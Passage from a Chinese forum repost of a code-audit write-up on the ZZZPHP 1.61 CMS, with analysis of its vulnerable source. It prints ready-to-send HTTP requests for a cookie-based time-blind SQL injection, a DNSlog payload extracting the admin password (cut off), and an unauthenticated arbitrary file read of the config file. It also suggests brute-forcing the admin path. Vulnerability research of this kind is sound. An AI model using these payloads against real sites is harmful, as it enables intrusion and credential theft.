搜索

[19473] 2019-04-11_ZZZPHP1.61代码审计-从SQL注入到Getshell

文档创建者：s7ckTeam
浏览次数：227
最后更新：2025-01-18
2019-04-11_ZZZPHP1.61代码审计-从SQL注入到Getshell Z Z Z P H P 1 . 6 1   代 码 审 计 - 从 S Q L 注 入 到 G e t s h e l l i 春 秋   2 0 1 9 - 0 4 - 1 1 近 期 有 很 多 小 伙 伴 在 后 台 留 言 想 看 关 于 代 码 审 计 的 文 章 ， 其 实 有 关 审 计 的 文 章 网 上 资 源 是 比 较 多 的 ， 但 是 从 代 码 审 计 开 始 到 结 束 的 这 类 文 章 却 少 之 甚 少 。 今 天 要 讲 解 的 Z Z Z P H P 1 . 6 1 这 套 审 计 漏 洞 比 较 多 ， S Q L 注 入 漏 洞 、 任 意 文 件 删 除 漏 洞 、 任 意 文 件 读 取 漏 洞 、 远 程 执 行 漏 洞 ， 当 中 也 借 助 了 漏 扫 工 具 ， 内 容 涵 盖 全 面 ， 分 析 透 彻 ， 学 完 定 会 受 益 匪 浅 ！ 注 ： 文 章 还 是 原 来 的 方 式 ， 先 复 现 后 分 析 ， 阅 读 用 时 约 7 分 钟 。 S Q L 注 入 漏 洞 注 入 漏 洞 （ 获 取 管 理 员 密 码 ） 漏 洞 复 现 漏 洞 复 现 p a y l o a d ：
对 比 两 次 的 时 间 就 晓 得 我 们 的 语 句 执 行 成 功 了 ， 表 示 存 在 S Q L 注 入 漏 洞 。 G E T   / s e a r c h /   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 4 ;   r v : 6 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 0 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o o k i e :   P H P S E S S I D = 5 8 e b b 8 6 a e 3 7 1 b d 1 f 6 5 4 6 6 b 1 b 9 4 f 7 a 5 f 7 ;   z z z _ a d m i n p a s s = 1 ; z z z _ k e y s = 0 ' X O R ( i f ( n o w ( ) = s y s d a t e ( ) , s l e e p ( 1 0 ) , 0 ) ) X O R ' Z C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0
漏 洞 分 析 漏 洞 分 析 这 个 洞 是 先 用 A W V S 工 具 扫 了 一 遍 出 来 的 ， 我 们 审 计 一 套 代 码 的 时 候 可 以 先 试 试 这 些 漏 扫 工 具 ， 提 高 一 下 效 率 。 虽 然 有 误 报 但 是 收 集 到 的 信 息 比 手 工 去 检 测 的 效 率 高 。 大 家 测 试 的 时 候 可 以 用 P H P s t o r m 或 者 v s c o d e 这 些 工 具 去 调 试 ， 走 一 遍 整 个 过 程 ， 这 样 会 对 程 序 有 所 了 解 。 再 发 一 次 包 到 s e a r c h 页 面 会 停 留 到 s e a r c h / i n d e x . p h p 文 件 ， 这 个 文 件 比 较 简 单 ， 包 含 了 一 个 z z z _ c l i e n t . p h p 的 文 件 。 进 到 i n c / z z z _ c l i e n t . p h p 文 件 有 一 些 包 含 的 进 来 的 文 件 类 似 模 板 的 文 件 等 ， 这 里 通 过 上 面 的 L O C A T I O N 找 到 $ t p l f i l e =   T P L _ D I R   . ' s e a r c h . h t m l ' ; < ? p h p d e f i n e ( ' L O C A T I O N ' ,   ' s e a r c h ' ) ; r e q u i r e   d i r n a m e ( d i r n a m e ( _ _ F I L E _ _ ) ) .   ' / i n c / z z z _ c l i e n t . p h p ' ;
到 下 面 就 实 例 化 ， 解 析 模 板 。 s w i t c h   ( $ l o c a t i o n )   { c a s e   ' a b o u t ' :       $ t p l f i l e =   T P L _ D I R   .   G ( ' s t p l ' ) ;       b r e a k ; c a s e   ' b r a n d ' :                 $ s t p l = s p l i t s ( d b _ s e l e c t ( ' b r a n d ' , ' b _ t e m p l a t e ' , " b i d = " . G ( ' b i d ' )   o r   " b _ n a m e = ' " . G ( ' b n a m e ' ) . " ' " ) , ' , ' ) ;       i f   ( d e f i n e d ( ' I S W A P ' ) ) {           $ t p l f i l e = i s s e t ( $ s t p l [ 1 ] )   ?   $ s t p l [ 1 ]   :   $ s t p l [ 0 ] ;       } e l s e {           $ t p l f i l e = $ s t p l [ 0 ] ;             }       $ t p l f i l e = e m p t y ( $ t p l f i l e )   ?   T P L _ D I R   . ' b r a n d . h t m l '   :   T P L _ D I R   .   $ t p l f i l e   ;       b r e a k ; c a s e   ' b r a n d l i s t ' :       $ t p l f i l e = i s s e t ( $ s t p l )   ?   T P L _ D I R   .     $ s t p l :   T P L _ D I R   .   ' b r a n d l i s t . h t m l ' ;       $ G L O B A L S [ ' t i d ' ] = ' - 1 ' ;       b r e a k ; c a s e   ' c o n t e n t ' :                     $ t p l f i l e =   T P L _ D I R   .   G ( ' c t p l ' ) ;       b r e a k ; c a s e   ' l i s t ' :       $ t p l f i l e =   T P L _ D I R   .   G ( ' s t p l ' ) ;       b r e a k ; c a s e   ' t a g l i s t ' :       $ t p l f i l e = T P L _ D I R   .   ' t a g l i s t . h t m l ' ;       $ G L O B A L S [ ' t i d ' ] = ' - 1 ' ;       b r e a k ; c a s e   ' u s e r ' :       $ t p l f i l e =   T P L _ D I R   .   ' u s e r . h t m l ' ;       b r e a k ; c a s e   ' s e a r c h ' :       $ t p l f i l e =   T P L _ D I R   .   ' s e a r c h . h t m l ' ;       b r e a k ;
往 下 走 进 到 i n c / z z z _ t e m p l a t e . p h p 文 件 ， 注 入 的 主 要 是 $ z c o n t e n t   =   $ t h i s - > p a r s e r l o c a t i o n (   $ z c o n t e n t   ) ;   / /   站 点 标 签 这 一 句 ， 继 续 p a r s e r S e a r c h 函 数 跟 下 去 。 走 到 i n c / z z z _ t e m p l a t e . p h p 的 1 5 6 1 行 ， 如 果 经 过 g e t f o r m 函 数 的 话 会 被 t x t _ h t m l 过 滤 掉 ， 但 是 我 们 用 的 c o o k i e ， 所 以 这 里 直 接 获 取 没 有 过 滤 。 我 们 可 以 进 g e t _ c o o k i e 函 数 看 下 , p r e f i x 前 缀 是 z z z _ 所 以 我 们 的 参 数 为 z z z _ k e y s ， 这 里 获 取 到 了 数 据 但 也 没 有 过 滤 直 接 就 返 回 了 。 下 面 就 是 直 接 执 行 了 我 们 带 有 恶 意 的 S Q L 语 句 了 } e l s e i f ( $ c o n f [ ' r u n m o d e ' ] = = 0 | |   $ c o n f [ ' r u n m o d e ' ] = = 2   | |   $ l o c a t i o n = = ' s e a r c h '   | | $ l o c a t i o n = = ' f o r m '   | | $ l o c a t i o n = = $ z c o n t e n t   =   l o a d _ f i l e ( $ t p l f i l e , $ l o c a t i o n ) ; $ p a r s e r   =   n e w   P a r s e r T e m p l a t e ( ) ; $ z c o n t e n t   =   $ p a r s e r - > p a r s e r C o m m o m ( $ z c o n t e n t ) ;   / /   解 析 模 板 e c h o   $ z c o n t e n t ;       c a s e   ' s e a r c h ' :       $ z c o n t e n t   =   $ t h i s - > p a r s e r S e a r c h (   $ z c o n t e n t   ) ; $ k e y s   =   s a f e _ k e y ( g e t f o r m (   ' k e y s ' ,   ' p o s t '   ) , 6 0 ) ; i f   (   $ k e y s   )   {         s e t _ c o o k i e (   ' k e y s ' ,   $ k e y s   ) ; }   e l s e   {         $ k e y s   =   g e t _ c o o k i e (   ' k e y s '   ) ; } f u n c t i o n   g e t _ c o o k i e (   $ n a m e   )   {       i f   (   i s _ n u l l (   $ n a m e   )   )   r e t u r n   ' ' ;       $ d a t a   =   i s s e t (   $ _ C O O K I E [   $ _ S E R V E R [   ' p r e f i x '   ]   .   $ n a m e   ]   )   ?   $ _ C O O K I E [   $ _ S E R V E R [   ' p r e f i x '   ]   .   $ n a m e   ]   :         r e t u r n   $ d a t a ; }
知 道 有 S Q L 注 入 漏 洞 后 ， 可 以 直 接 扔 进 S Q L m a p 或 者 用 D N S l o g ， 下 面 我 提 供 一 个 D N S l o g 的 p a y l o a d ： 0 ' X O R ( i f ( n o w ( ) = s y s d a t e ( ) , ( s e l e c t   l o a d _ f i l e ( c o n c a t ( ' ' , ( s e l e c t   p a s s w o r d   f r o m   z z z _ u s e r   w h e r e   u s e r n a m e = ' a d m i n
任 意 文 件 读 取 漏 洞 任 意 文 件 读 取 漏 洞 （ 获 取 敏 感 信 息 ） 漏 洞 复 现 漏 洞 复 现 p a y l o a d ：
这 个 漏 洞 是 无 需 登 录 后 台 的 ， 后 台 的 地 址 可 以 直 接 写 一 个 P y t h o n 脚 本 来 爆 破 一 下 就 行 了 ， 命 名 规 则 为 a d m i n + 三 位 随 机 数 。 漏 洞 分 析 漏 洞 分 析 这 个 漏 洞 是 在 后 台 查 看 模 板 文 件 内 容 的 时 候 找 到 的 ， 抓 一 个 包 然 后 改 变 下 路 径 看 是 否 能 读 到 其 他 的 目 录 文 件 。 文 件 路 径 a d m i n 1 5 5 / i n d e x . p h p 前 面 是 获 取 m o d u l e 和 t y p e 参 数 ， 看 到 文 件 的 最 后 面 包 含 文 件 这 里 ， 走 进 去 看 下 ： 作 用 是 把 我 们 刚 才 传 入 的 模 板 名 称 然 后 生 成 一 个 缓 存 文 件 。 G E T   / a d m i n 1 5 5 / ? m o d u l e = t e m p l a t e e d i t & t y p e = / c o n f i g / z z z _ c o n f i g . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 4 ;   r v : 6 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 0 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n 1 5 5 / ? d a t e b a c k u p l i s t C o o k i e :   P H P S E S S I D = 5 8 e b b 8 6 a e 3 7 1 b d 1 f 6 5 4 6 6 b 1 b 9 4 f 7 a 5 f 7 ;   z z z _ a d m i n p a s s = 1 ;   z z z _ a d m i n p a t h = 0 ;   z z z _ a d m i n f a c e = . . % 2 F p l u g i n s % 2 F f a c e % 2 F f a c e 1 . p n g ;   z z z _ a d m i n n a m e = a d m i n ;   X D E B U G _ S E S S I O N = P H P S T O R M C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 $ G L O B A L S [ ' r ' ] = i s s e t ( $ d a t a )   ?   a r r _ k e y ( $ d a t a )   :   ' ' ; / / e c h o p   ( p a r s e _ a d m i n _ t l p ( $ m o d u l e ) ) ; d i e ; i n c l u d e   p a r s e _ a d m i n _ t l p ( $ m o d u l e ) ;
后 面 会 走 到 缓 存 文 件 的 2 6 行 ， l o a d _ f i l e 加 载 文 件 ， 网 站 的 根 目 录 和 刚 才 传 入 的 t y p e 也 就 是 我 们 的 路 径 。 i n c / z z z _ f i l e . p h p 的 l o a d _ f i l e 函 数 ， 这 里 做 了 一 个 替 换 ， 不 过 没 什 么 卵 用 ， 判 断 是 否 是 文 件 就 直 接 读 取 内 容 了 。 f u n c t i o n   p a r s e _ a d m i n _ t l p (   $ m o d u l e   )   {       $ t p l t y p e   =   G (   ' I D '   )   ?   ' e d i t '   :   ' a d d ' ;       $ t p l f i l e   =   S I T E _ D I R   .   c o n f (   ' a d m i n p a t h '   )   .   ' t e m p l a t e / '   .   $ m o d u l e   .   ' . t p l ' ;       $ c a c h e f i l e   =   R U N _ D I R   .   ' c a c h e / '   .   c o n f (   ' a d m i n p a t h '   )   .   m d 5 (   $ m o d u l e   .   $ t p l t y p e   )   .   ' . t p l ' ;       / / e c h o p   ( $ t p l f i l e ) ; e c h o p   ( $ c a c h e f i l e ) ;       / / e c h o p (   t e m p l a t e _ p a r s e ( l o a d _ f i l e ( $ t p l f i l e ) ) ) ;       i f   (   ! i s _ f i l e (   $ c a c h e f i l e   )   | |   t i m e _ f i l e (   $ t p l f i l e   )   >   t i m e _ f i l e (   $ c a c h e f i l e   )   | |   s i z e _ f i l e (   $ t p l f i l e   )   = =               c r e a t e _ f i l e (   $ c a c h e f i l e ,   t e m p l a t e _ p a r s e (   l o a d _ f i l e (   $ t p l f i l e   )   )   ) ;       }       r e t u r n   $ c a c h e f i l e ; } < ? p h p   e c h o   l o a d _ f i l e ( $ _ S E R V E R [ ' D O C U M E N T _ R O O T ' ] . G ( ' t y p e ' ) ) ; ? >
读 取 网 站 之 外 的 文 件 为 什 么 没 有 登 录 后 台 也 能 利 用 这 个 漏 洞 呢 ？ 先 在 a d m i n 1 5 5 / i n d e x . p h p 里 面 包 含 i n c / z z z _ a d m i n . p h p 文 件 ， 但 是 这 个 i n c / z z z _ a d m i n . p h p 文 件 判 断 后 没 有 用 e x i t (   ) 这 类 的 函 数 ， 导 致 程 序 继 续 往 下 走 ， 又 会 回 到 a d m i n 1 5 5 / i n d e x . p h p 执 行 6 7 行 的 内 容 ， 导 致 出 现 了 可 以 不 用 登 录 后 台 也 能 读 取 任 意 文 件 。 f u n c t i o n   l o a d _ f i l e (   $ p a t h ,   $ l o c a t i o n   =   N U L L   )   {       $ p a t h   =   s t r _ r e p l a c e (   ' / / ' ,   ' / ' ,   $ p a t h   ) ;       i f   (   i s _ f i l e (   $ p a t h   )   )   {             r e t u r n   f i l e _ g e t _ c o n t e n t s (   $ p a t h   ) ;       }   e l s e i f   (   ! i s _ n u l l (   $ l o c a t i o n   )   )   {             $ l o c a t i o n p a t h   =   P L U G _ D I R   .   ' t e m p l a t e / '   .   $ l o c a t i o n   .   ' . t p l ' ;             i f   (   i s _ f i l e (   $ l o c a t i o n p a t h   )   )   {                   r e t u r n   f i l e _ g e t _ c o n t e n t s (   $ l o c a t i o n p a t h   ) ;             }   e l s e   {                   $ u r l   =   $ _ S E R V E R [   ' R E Q U E S T _ U R I '   ] ;                   $ u r l   =   s u b _ l e f t (   $ u r l ,   ' ? '   ) ;                   p h p g o (   $ u r l   ) ;                   r e t u r n   f a l s e ;             }       }   e l s e i f   (   i s _ f i l e (   S I T E _ D I R   .   $ p a t h   )   )   {             r e t u r n   f i l e _ g e t _ c o n t e n t s (   S I T E _ D I R   .   $ p a t h   ) ;       }   e l s e   {             e r r o r (   " 载 入 文 件 失 败 , 请 检 查 文 件 路 径 ！ , "   .   s t r _ r e p l a c e (   D O C _ P A T H ,   ' ' ,   $ p a t h   )   ) ;             r e t u r n   f a l s e ;       } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理